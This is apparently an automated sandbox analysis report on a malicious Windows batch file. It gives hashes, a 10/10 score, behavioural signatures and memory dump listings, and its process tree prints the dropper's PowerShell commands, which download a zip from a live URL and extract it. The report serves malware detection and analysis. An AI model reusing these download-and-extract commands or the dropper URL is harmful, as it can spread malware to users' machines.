3113000f470106b98b5a3208266c79213a33567ca7841dd1cfe8ab84847c4eb8

Analysis

max time kernel
121s
max time network
128s
platform
windows7_x64
resource
win7-20231023-en
resource tags

arch:x64arch:x86image:win7-20231023-enlocale:en-usos:windows7-x64system
submitted
19-11-2023 06:55

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General

Target

tesy - Copy (14).bat
Size

706B
MD5

035f17438f6146d5ac7285b4adfeb370
SHA1

ef83c877367e96073e2b9b841d9c03ece6b1df7e
SHA256

02261a07ff83d906a835ac5229b25595239717e0091f2462804d0a31859bbdc0
SHA512

49455c7edd51537ba92e2db0941f571cd6ad89252702a19cf5910b390b182c16fc970ca62c26582b293ac5fc096e84538c5634472ab6e31bbd29242e8bb816cf

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
3	2380	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2380	powershell.exe
2632	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2380	powershell.exe
Token: SeDebugPrivilege	2632	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2308 wrote to memory of 2380	2308	cmd.exe	29
PID 2308 wrote to memory of 2380	2308	cmd.exe	29
PID 2308 wrote to memory of 2380	2308	cmd.exe	29
PID 2308 wrote to memory of 2632	2308	cmd.exe	30
PID 2308 wrote to memory of 2632	2308	cmd.exe	30
PID 2308 wrote to memory of 2632	2308	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (14).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2308
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip', 'test1.zip')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2380
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'test1.zip' -DestinationPath '.'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2632

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\487BL290H9RN4OPI9FV1.temp

Filesize
7KB

MD5
0907baa5718004a616962c31355ec74a

SHA1
e789a4b05c10834c0b23f180808e2a4b23bcc16c

SHA256
4aad6fe5e14619d321d4a0813dbfa072f2d9cb1f09ca2e41384a768bec2108ce

SHA512
98d224b2a6eb47018328197990adf1fa7056d2eec938807681c83ee85becae152e543cce06811a512c41b16df843b09e5e6bec7c8b37c9b0ef01892608723f15

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
0907baa5718004a616962c31355ec74a

SHA1
e789a4b05c10834c0b23f180808e2a4b23bcc16c

SHA256
4aad6fe5e14619d321d4a0813dbfa072f2d9cb1f09ca2e41384a768bec2108ce

SHA512
98d224b2a6eb47018328197990adf1fa7056d2eec938807681c83ee85becae152e543cce06811a512c41b16df843b09e5e6bec7c8b37c9b0ef01892608723f15

Download Submit
memory/2380-9-0x00000000028F0000-0x0000000002970000-memory.dmp

Filesize
512KB

Download
memory/2380-6-0x00000000028F0000-0x0000000002970000-memory.dmp

Filesize
512KB

Download
memory/2380-8-0x000007FEF5C80000-0x000007FEF661D000-memory.dmp

Filesize
9.6MB

Download
memory/2380-4-0x000000001B290000-0x000000001B572000-memory.dmp

Filesize
2.9MB

Download
memory/2380-10-0x00000000028F0000-0x0000000002970000-memory.dmp

Filesize
512KB

Download
memory/2380-11-0x00000000028F0000-0x0000000002970000-memory.dmp

Filesize
512KB

Download
memory/2380-13-0x000007FEF5C80000-0x000007FEF661D000-memory.dmp

Filesize
9.6MB

Download
memory/2380-7-0x0000000002410000-0x0000000002418000-memory.dmp

Filesize
32KB

Download
memory/2380-5-0x000007FEF5C80000-0x000007FEF661D000-memory.dmp

Filesize
9.6MB

Download
memory/2632-21-0x00000000029F0000-0x0000000002A70000-memory.dmp

Filesize
512KB

Download
memory/2632-22-0x0000000002460000-0x0000000002468000-memory.dmp

Filesize
32KB

Download
memory/2632-20-0x000007FEF52E0000-0x000007FEF5C7D000-memory.dmp

Filesize
9.6MB

Download
memory/2632-19-0x000000001B380000-0x000000001B662000-memory.dmp

Filesize
2.9MB

Download
memory/2632-23-0x000007FEF52E0000-0x000007FEF5C7D000-memory.dmp

Filesize
9.6MB

Download
memory/2632-24-0x00000000029F0000-0x0000000002A70000-memory.dmp

Filesize
512KB

Download
memory/2632-25-0x00000000029F0000-0x0000000002A70000-memory.dmp

Filesize
512KB

Download
memory/2632-26-0x00000000029F0000-0x0000000002A70000-memory.dmp

Filesize
512KB

Download
memory/2632-27-0x000007FEF52E0000-0x000007FEF5C7D000-memory.dmp

Filesize
9.6MB

Download